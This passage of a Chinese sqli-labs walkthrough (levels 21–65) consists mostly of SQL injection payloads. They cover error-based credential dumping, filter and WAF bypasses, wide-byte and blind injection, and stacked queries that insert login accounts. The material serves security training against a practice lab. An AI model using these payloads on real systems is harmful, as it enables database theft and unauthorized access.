admin') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #      使用显错注入获取到username具体值
admin') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))#      使用显错注入获取到password的具体值
admin') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))#    使用显错注入获取到username和password的所有值

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.第二十二关在这里插入图片描述

同理还是编码,我们找一下闭合点在这里插入图片描述在这里插入图片描述
闭合点是" #
直接上命令

admin" or (updatexml(1,concat(0x5c,database(),0x5c),1))#     使用显错注入获得数据库的名字  
admin" or (updatexml(1,concat(0x5c,version(),0x5c),1))  #     使用显错注入获取到版本号
admin" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))#                            使用显错注入获取到表名
admin" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
admin" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #      使用显错注入获取到username具体值
admin" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))#      使用显错注入获取到password的具体值
admin" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))#    使用显错注入获取到username和password的所有值

在这里插入图片描述
同理,我们 直接去爆用户名和密码在这里插入图片描述

23关

1.第二十三关在这里插入图片描述
我们发现这里是get请求,我们去找一下注入点在这里插入图片描述

我们发现使用’闭合以后报错了,应该就可以用’ 然后我们吧后面闭合在这里插入图片描述

这里发现报错了,这里可能是因为吧–这两个注释符号过滤了在这里插入图片描述在这里插入图片描述

这里我们使用or ‘1’='1 将后面的引号闭合
这里我们就找到了注入点,那么我们直接上命令

# 爆库
?id=' union select 1,2,database() '# 爆表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '#爆列名
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '# 爆值
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

在这里插入图片描述
这里发现显错位是2,1,那么我们接下来直接联合注入就好了
这里就同理了,我们直接上最后一个用户和密码

24关

1.第二十四关
这一关我们发现让我们去注册一个用户,所以我们有思路,可以尝试者去进行二次注入在这里插入图片描述

我们创建一个admin’#的用户在这里插入图片描述
然后用这个用户登陆在这里插入图片描述

登陆成功以后我们去修改这个用户密码在这里插入图片描述在这里插入图片描述
然后我们用这个admin登陆在这里插入图片描述在这里插入图片描述

这个原理是这样的,我们创建了一个admin’#的用户去修改它的密码,数据库会执行一个update命令
上命令

update users set password=123 where username='admin'#';          # 这样的话数据库会将#注释掉,默认以为修改admin的密码,所以导致我们可以使用admin登陆数据库   

25关

1.第二十五关在这里插入图片描述
首先我们找到了注入点,我们开始尝试着注入在这里插入图片描述在这里插入图片描述
我们发现一个问题,输入or 和and 以后 会将其过滤,所以导致我们的语句错误,所以我们可以绕过一下 我们使用双写绕过就好了 例如or 写成 oorr 它将中间的or过滤之后还有另外一个or在这里插入图片描述所以我们直接上命令

?id=1'  aandnd 1=1 --+
?id=1'  oorrder by 3 --+
?id=1'  oorrder by 4  --+   # 发现没有回显,说明有3个字段 
?id=-1' union select 1,2,3  --+ # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1' union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=database() --+    # 得到库中的所有表  
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' --+  # 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd)  from users --+  # 得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' anandd table_schema=database()    --+?id=-1'union select 1,2,group_concat(username,0x22,passwoorrd) from users --+ 

在这里插入图片描述在这里插入图片描述

这里需要注意一下我们需要把informtaion写成infoorrmation在这里插入图片描述在这里插入图片描述

26关-27关

1.第二十六关

同理找注入点在这里插入图片描述在这里插入图片描述在这里插入图片描述
这里我们输入正确的sql语句,但是回显出现问题,所以应该是将or and 以及–+全部过滤掉了
所以在这里我们需要用逻辑运算符 &&和 || 表示 并且结尾需要使用’闭合 所以我们直接上命令

?id=1'||(updatexml(1,concat(0x7e,database(),0x7e),1)) || '0    # 爆数据库名
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0   # 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0     # 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0   # 爆密码账户

这里我们直接给最后一个图
在这里插入图片描述

2.第二十七关在这里插入图片描述

找到闭合点以后尝试着进行注入
二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。在这里插入图片描述

这里很明显过滤了空格
所以我们需要用大小写和双重写绕过且不能用空格
直接上命令

?id=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))or '0   # 爆库名
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0  # 爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0  # 爆字段
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0  # 爆密码账户

在这里插入图片描述在这里插入图片描述在这里插入图片描述

28关

1.第二十八关
该关卡过滤了注释符空格还过滤了union和select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
命令

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and ('1 # 爆表
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1  # 爆字段
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1      # 爆数据

29关-31关

1.第二十九关

就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
利用参数污染注入,传入2个参数,第一个用来欺骗waf,第二个用于正常访问。

上命令

?id=1&id=-1' union select 1,2,database()--+                    # 暴库名
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ # 爆表名
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 		# 爆字段
?id=1&id=-1' union select 1,2,group_concat(username,'-',password) from security.users--+  # 爆数据

在这里插入图片描述

2.第三十关

跟29同理,找到闭合点即可,也是利用2个参数传入,绕过waf
上命令

?id=1&id=-1" union select 1,2,database()--+
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=1&id=-1" union select 1,2,group_concat(username,'-',password) from security.users--+

在这里插入图片描述

3.第三十一关

同理,只是闭合点不一样,闭合点是’)
命令

?id=1&id=-1") union select 1,2,database()--+        # 爆库名
?id=1&id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+                         # 爆表
?id=1&id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+                                   # 爆字段 
?id=1&id=-1") union select 1,2,group_concat(username,'-',password) from security.users--+  # 爆数据

32-33关

1.第三十二关与第三十三关一样,同样的命令方法即可
这一关是get请求栏中 发现使用什么都不能闭合,但是可以使用宽字节在这里插入图片描述

因为php源码中是用来greg_replace函数将斜杠,单引号与双引号过滤了,所以输入’之后不起作用,所以这个时候我们可以使用宽字节注入,当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
我们使用%df和%27组合,使其成为一个宽字节,然后导致报错,然后我们可以将后面注释,从而形成注入在这里插入图片描述在这里插入图片描述

接着我们直接上命令:

?id=1%df%27 order by 4  --+  # 发现没有回显,说明有3个字段 
?id=-1%df%27union select 1,2,3  --+ # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1%df%27 union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    # 得到库中的所有表  
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+  # 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()   --+
?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users   --+ 

在这里插入图片描述
这里表名需要十六进制编码一下,因为这里存在一个过滤 在这里插入图片描述在这里插入图片描述

34关

1.第三十四关在这里插入图片描述
又是我们熟悉的post请求
我们继续bp抓包测试在这里插入图片描述

看到这个我们就很敏感了,同样的道理,还是将’转义了,所以我们需要使用宽字节在这里插入图片描述
这样的话就完美的解决了,然后我们就可以使用我们的命令了,直接上命令

admin%df' order by 3  # 发现没有回显,说明有2个字段 
admin%df' union select 1,2 # 判断显错
admin%df' union select 1,database()# 可以得出数据库的名字
admin%df' union select 1,version()#  可以得出数据库的版本
admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #   得到库中的所有表  
admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
admin%df'union select 1,group_concat(username,id,password) from users  #  得到字段的具体的内容

在这里插入图片描述
同理我们直接上最后一个图在这里插入图片描述

35关

1.第三十五关在这里插入图片描述
这里我们成功的找到了注入点,就是’ --+然后我们就可以使用联合注入,但是肯定有过滤的东西,所以我们直接上命令

?id=1 order by 4       # 得到字段数是3
?id=-1 union select 1,2,3  # 得出回显是2,3
?id=-1 union select 1,database(),version()    # 得出数据库的版本和名字
?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()         # 爆出表名
?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273        # 爆出字段,但是这里的users表需要用16进制编码,因为对'users'做了过滤   
?id=-1 union select 1,2,group_concat(username,password) from users        # 得到数据

同理我们直接出最后一个图在这里插入图片描述

36关

1.第三十六关 与32关一样所以直接上命令

发现没有回显,说明有3个字段 
?id=-1%df%27union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1%df%27 union select 1,database(),version() --+  可以得出数据库的名字和版本号
?id=-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表
?id=-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()          --+
?id=-1%df%27 union select 1,2,group_concat(username,id,password) from users   --+ 

在这里插入图片描述

37关

宽字节的post注入,跟34一样,但是需要用bp抓包
上命令

admin%df' order by 3  # 发现没有回显,说明有2个字段 
admin%df' union select 1,2 # 判断显错
admin%df' union select 1,database() # 可以得出数据库的名字
admin%df' union select 1,version()  # 可以得出数据库的版本
admin%df'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #   得到库中的所有表  
admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
admin%df'union select 1,group_concat(username,id,password) from users  #  得到字段的具体的内容

在这里插入图片描述

38关-45关

1.第三十八关在这里插入图片描述

到这里我们发现和第一关的是一样的,但用第一关的做法来做就多多少少有点捞了,这波是要我们练习堆叠注入的,所以我们可以执行多条sql语句。所以我们可以插入一个表格,或者修改数据或者删除数据库什么的,这里都行,所以就创建一个表吧!在这里插入图片描述
这里我们用工具连上数据库去看一下在这里插入图片描述
确实是有我们创建的表

2.第三十九关

跟38关是原理一样,所以我们这里只要找到闭合点就好了在这里插入图片描述

我们发现闭合点就是没有闭合点,所以我们这里直接进行堆叠语句就好了
那我们这里可以再表里面差一个数据

?id=1;insert into hjm values('1','hjm','123')  # 解释一下,hjm表中插入数据1 hjm 和	123   这个师傅们应该都懂

在这里插入图片描述还是我们连接数据库看一下在这里插入图片描述

3.第四十关

同理,找到闭合点就好了在这里插入图片描述

我们继续创建表

?id=1'); create table  hjm2 like users;--+ # 这里就不解释了,师傅们都懂

在这里插入图片描述

4.第四十一关

同样的道理,找闭合点在这里插入图片描述

找到注入点,在这里我们可以进行插入数据

?id=1;insert into hjm2(id,username,password)values(1,'hjm','password')

同理我们上数据库看一下在这里插入图片描述

5.第四十二关

这一关同理,我们只要找到注入点就好了在这里插入图片描述这里是一个post请求,我们可以去抓包,然后找到注入点之后,利用堆叠注入在这里插入图片描述在这里插入图片描述
在这里我们找到了注入方式,我们可以给users表中插入两个数据,作为我们登陆账号和密码

';insert into users(id,username,password) values ('100','hjm1','123456')#

在这里插入图片描述
然后我们可以上数据库看一下,我们也可以直接登陆,我们登陆看一下吧在这里插入图片描述这里我们成功的登录进去,成功拿下数据库

6.第四十三关

第四十三关是同样的思路,找到闭合点就好了在这里插入图片描述我们找到了注入点,后面的是同样的在这里插入图片描述同样的思路,我们可以去拿他数据库,也可以执行一些堆叠语句

7.第四十四关

四十四关和四十二关一样

8.第四十五关

四十五关和四十三关一样

46关-49关

1.第四十六关在这里插入图片描述

使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用updatexml进行报错。在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
看到这,我们可以尝试着用报错注入
上命令

?sort=3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) --+    # 使用显错注入获得数据库的名字  
?sort=3 and (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    # 使用显错注入获取到版本号
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  --+                        #  使用显错注入获取到表名
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+    # 使用显错注入获取到字段名
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+      #  使用显错注入获取到username具体值
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+     # 使用显错注入获取到password的具体值
?sort=3 and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+    # 使用显错注入获取到username和password的所有值

在这里插入图片描述

设置好payload直接爆出所有的账户密码在这里插入图片描述

2.第四十七关

四十七关和四十六差不多,找到注入点,可以使用报错注入在这里插入图片描述

发现这里使用’闭合,那么直接上命令

?sort=3' and (updatexml(1,concat(0x5c,database(),0x5c),1))  --+   # 使用显错注入获得数据库的名字  
?sort=3' and (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    # 使用显错注入获取到版本号
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  --+                         # 使用显错注入获取到表名
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+   # 使用显错注入获取到字段名
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+       # 使用显错注入获取到username具体值
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+       # 使用显错注入获取到password的具体值
?sort=3' and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+    # 使用显错注入获取到username和password的所有值

在这里插入图片描述

3.第四十八关在这里插入图片描述

这里发现没有回显,所以只能考虑进行盲注 找一下闭合点在这里插入图片描述

发现闭合点
使用延时注入
直接上命令

?sort=3 and if(length((select database()))=8,sleep(1),1)--+                 # 用时间延时注入判断数据库长度 
?sort=3 and if(substr((select database()),1,1)='s',sleep(1),1)--+           # 使用时间延时判断数据库的第一个字母是不是s  
?sort=3  and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+                           # 使用时间延时的注入来判断有4个表 
?sort=3 and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+               #  使用时间延时注入来判断第一个表的长度是6
?sort=3  and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+          # 使用时间延时注入来判断第一个表的名字
?sort=3 and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+   # 使用延时注入来判断第一个表中的字段有3?sort=3 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+         # 使用延时注入来判断表中的字段的长度
?sort=3  and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
?sort=3  and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断username字段中的数据是否为D
?sort=3  and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断password字段中的数据是否为D

4.第四十九关

四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。
在这里我们需要找一下注入点在这里插入图片描述
直接上命令

?sort=3' and if(length((select database()))=8,sleep(1),1)--+                 # 用时间延时注入判断数据库长度 
?sort=3'  and if(substr((select database()),1,1)='s',sleep(1),1)--+          # 使用时间延时判断数据库的第一个字母是不是s  
?sort=3'   and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) --+                           # 使用时间延时的注入来判断有4个表 
?sort=3'  and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1) --+               # 使用时间延时注入来判断第一个表的长度是6
?sort=3'   and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) --+          # 使用时间延时注入来判断第一个表的名字
?sort=3'  and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) --+   # 使用延时注入来判断第一个表中的字段有3?sort=3'  and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) --+         # 使用延时注入来判断表中的字段的长度
?sort=3'   and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
?sort=3'   and if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断username字段中的数据是否为D
?sort=3'   and if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  # 使用延时注入来判断password字段中的数据是否为D

51-53关

1.第五十一关在这里插入图片描述在这里插入图片描述

这里找到注入点我们可以尝试用显错注入,我们直接上命令

?sort=' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+     使用显错注入获得数据库的名字  
?sort=' or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+使用显错注入获取到版本号
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ 使用显错注入获取到表名
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+使用显错注入获取到字段名
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+使用显错注入获取到username具体值
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+使用显错注入获取到password的具体值
?sort=' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+使用显错注入获取到username和password的所有值

在这里插入图片描述在这里插入图片描述

2.第五十二关在这里插入图片描述

在这里我们发现了这里有注入点,可以在这里进行堆叠注入,比如创建数据库

?sort=1; create table abc like users;

在这里插入图片描述在这里插入图片描述

我们连上数据库看一下

存在我们创建的表

3.第五十三关

与52关同理,知道找到闭合点就好了在这里插入图片描述
这里也是同样适用创建表

?sort=1';create table bbb like users; --+

在这里插入图片描述
同理我们看一下在这里插入图片描述

54关-57关

1.第五十四关

翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就
可以了

找到注入点以后我们就可以去找字段以及显错位置

?id=1'  and 1=1 --+
?id=1'  order by 3 --+
?id=1'  order by 4  --+  # 发现没有回显,说明有3个字段 
?id=-1' union select 1,2,3  --+  # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1' union select 1,database(),version() --+  # 可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    # 得到库中的所有表  
?id=?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='5mun9luvtz' --+  # 这个5m是我得出的 得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1'union select 1,2,group_concat(secret_IVJ4) from 5mun9luvtz  --+ 

在这里插入图片描述

得到数据库的名字是challenges
然后爆字段在这里插入图片描述

得到表是5mun91uvtz在这里插入图片描述得到字段
这里需要得到secret这个字段在这里插入图片描述

得到结果
kP7TlVSNsbtjJb1iosg1PucL
用这个结果登录即可

2.第五十五关在这里插入图片描述

思路与54一样只是这里闭合的点是) 而的命令与54同理,使用联合注入就可以

3.第五十六关

在这里插入图片描述

同样的思路,这里的闭合点是单引号括号 然后利用联合注入就好了

4.第五十七关在这里插入图片描述

同理,这里使用"闭合就好了,然后利用联合查询就好了

58-61关

1.第五十八关在这里插入图片描述

同样,在这里我们找到了注入点,但是次数只有5次所以我们想到了报错注入

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+     # 爆出表的名字
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='x87nrg3jvg'),0x7e),1)--+   # 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_SX1R) from x87nrg3jvg),0x7e),1)--+               # 爆字段名 也就是钥匙

在这里插入图片描述

知道表名x87nrg3jvg

爆出字段的名字id,sessic,secret_sx1R,tryy
我们来爆结果在这里插入图片描述
hqgQA9uNcTQsHUIGD4859Zzu 提交即可

2.第五十九关在这里插入图片描述

同理这里是整形的所以直接使用–+ 然后进行报错注入就好了!

3.第六十关在这里插入图片描述在这里插入图片描述

在这里我们发现了闭合点是") 后面同理,使用显错就好了

4.第六十一关在这里插入图片描述

同理,这里发现是))闭合,找到闭合点,显错就好了在这里插入图片描述

62-65关

1.第六十二关在这里插入图片描述

这里发现闭合以后不报错没有回复,所以这里是使用盲注,盲注命令前面都有,这里就找一下闭合点了!!在这里插入图片描述

找到了闭合点,我们可以使用延时注入和布尔注入去找

2.第六十三关

同样的思路,去找闭合点,然后盲注就好了在这里插入图片描述
这里是用’ --+进行的注释

3.第六十四关

还是找闭合点!
在这里插入图片描述

是ID )) --+这种闭合方式 所以这里我们还是进行盲注

4.第六十五关在这里插入图片描述

这里找到了闭合点,是使用) --+ 的 ,之后继续使用盲注

小结

这里有些细心的师傅应该会发现,后面的ip地址是发生变化的,这里是我在打靶过程中,出现了一些问题,然后重新搭建的另一个靶机!

总结:

这里写了所有关卡的方法,其实那些方法都大差不差,主要是学习思路,所以后续一些关卡的命令就没有拿出来,因为同前面的都一样
这五六天的过程中,也是一个比较煎熬的过程,好在最后是坚持了下来!
整个过程中,费时费力,这是一件挺耗费精力的事情,花了很长世界写了这篇文章,希望对于各位师傅有所帮助,后续还在持续的更新中!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/382933.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

科研绘图系列:R语言组合堆积图(stacked barplot with multiple groups)

介绍 通常堆积图的X轴表示样本,样本可能会存在较多的分组信息,通过组合堆积图和样本标签分组信息,我们可以得到一张能展示更多信息的可发表图形。 加载R包 knitr::opts_chunk$set(warning = F, message = F) library(tidyverse) library(cowplot) library(patchwork)导入…

【React】JSX:从基础语法到高级用法的深入解析

文章目录 一、什么是 JSX?1. 基础语法2. 嵌入表达式3. 使用属性4. JSX 是表达式 二、JSX 的注意事项1. 必须包含在单个父元素内2. JSX 中的注释3. 避免注入攻击 三、JSX 的高级用法1. 条件渲染2. 列表渲染3. 内联样式4. 函数作为子组件 四、最佳实践 在 React 开发中…

科研绘图系列:R语言组合热图和散点图

介绍 热图展示参与者的属性,散点图表示样本的时间跨度。 加载R包 library(tidyverse) library(ComplexHeatmap) library(circlize) library(cowplot)导入数据 数据可从以下链接下载(画图所需要的所有数据): 百度云盘链接: https://pan.baidu.com/s/1iEE9seTLdrrC3WDHJy…

P2p网络性能测度及监测系统模型

P2p网络性能测度及监测系统模型 网络IP性能参数 IP包传输时延时延变化误差率丢失率虚假率吞吐量可用性连接性测度单向延迟测度单向分组丢失测度往返延迟测度 OSI中的位置-> 网络层 用途 面相业务的网络分布式计算网络游戏IP软件电话流媒体分发多媒体通信 业务质量 通过…

富唯智能转运机器人:高效、智能、未来的选择

在现代工业中,高效的物流和物料处理是提升生产效率的关键。富唯智能转运机器人,以其卓越的技术和智能化的设计,为各行业提供了完美的解决方案。 产品概述 富唯智能转运机器人搭载ICD系列核心控制器,拥有多种移载平台&#xff0c…

学习记录day18——数据结构 算法

算法的相关概念 程序 数据结构 算法 算法是程序设计的灵魂,结构式程序设计的肉体 算法:计算机解决问题的方法护额步骤 算法的特性 1、确定性:算法中每一条语句都有确定的含义,不能模棱两可 2、有穷性:程序执行一…

Kafka知识总结(基本介绍+基本概念)

文章收录在网站:http://hardyfish.top/ 文章收录在网站:http://hardyfish.top/ 文章收录在网站:http://hardyfish.top/ 文章收录在网站:http://hardyfish.top/ 消息队列应用场景: 通过异步处理提高系统性能&#xf…

3GPP眼中的XR及其技术特点

3GPP R18 支持了XR Services。XR需要高数据速率和低延迟通信,这也真是5G可以大展身手的地方。这篇就从3GPP的角度看下XR是什么以及XR有哪些技术特点。 Extended Reality (XR) 是指由计算机技术和可穿戴设备生成的所有现实与虚拟相结合的环境和人机交互技术。 实际上…

【相机与图像】1. 相机模型的介绍:内参、外参、畸变参数

想着整理下相机模型(内容上参考 slam十四讲)、相机的内外参标定。方便自己的使用和回顾。 不过,内外参标定啥时候记录随缘 -_- 概述 【构建相机模型】 相机将三位世界中的坐标点(单位为米)映射到二维图像平面&#xff…

项目实战二

Git 服务器 公共代码平台GitLab 配置gitlab 1.设置管理员帐号密码 2.让程序员传代码到20主机上需要配置: 创建用户 mark 1234.com 创建用户组devops 然后把mark 添加到devons 创建项目 http://192.168.88.20/devops/myproject.git 3.客户端操作&#x…

大数据、区块链与人工智能

大数据、区块链与人工智能:技术融合与未来展望 摘要 本文旨在探讨大数据、区块链和人工智能这三个技术领域的基本概念、发展历程、应用场景及其相互之间的融合。文章首先分别介绍这三个技术的定义和特点,然后分析它们在不同行业中的实际应用&#xff0…

mac下010editor的配置文件路径

1.打开访达,点击前往,输入~/.config 2.打开这个文件夹 把里面的 010 Editor.ini 文件删除即可,重新安装010 Editor即可

SpringSecurity如何正确的设置白名单

在SpringSecurity中,往往需要对部分接口白名单访问,而大部分在使用Security中就有一个误区,那就是免鉴权访问和白名单的区别。 大部分的Security文章包括官方文档给出免鉴权访问都是使用.permitAll()去对相应路径进行免鉴权访问,但实际上这仅仅只表示该资源不需要相应的权限访问…

k8s 公共服务

修改named.conf。修改第13行和第21行 下面是 named.rfc1912 修改位置,在最后 所以用cp -p 复制文件,保留权限 nslookup 回车,server是看哪个dns 在起作用 dns服务器要配置给所有公共服务节点和 k8s 节点 就在网络文件加个DNS2就行了&…

【人工智能】AI音乐创作兴起与AI伦理的新视角

文章目录 🍊AI音乐创作:一键生成,打造你的专属乐章🍊1 市面上的AI音乐应用1.1 Suno AI1.2 网易天音 🍊2 AI音乐创作的流程原理(直接制作可跳到第3点)2.1 AI音乐流派2.2 AI音乐风格2.3 AI音乐的结构顺序2.5 选择AI音乐乐…

AI学习记录 - 激活函数的作用

试验,通过在线性公式加入激活函数,可以拟合复杂的情况(使用js实现) 结论:1、线性函数的叠加,无论叠加多少次,都是线性的 如下图 示例代码 线性代码,使用ykxb的方式,叠加10个函数…

前端:Vue学习-3

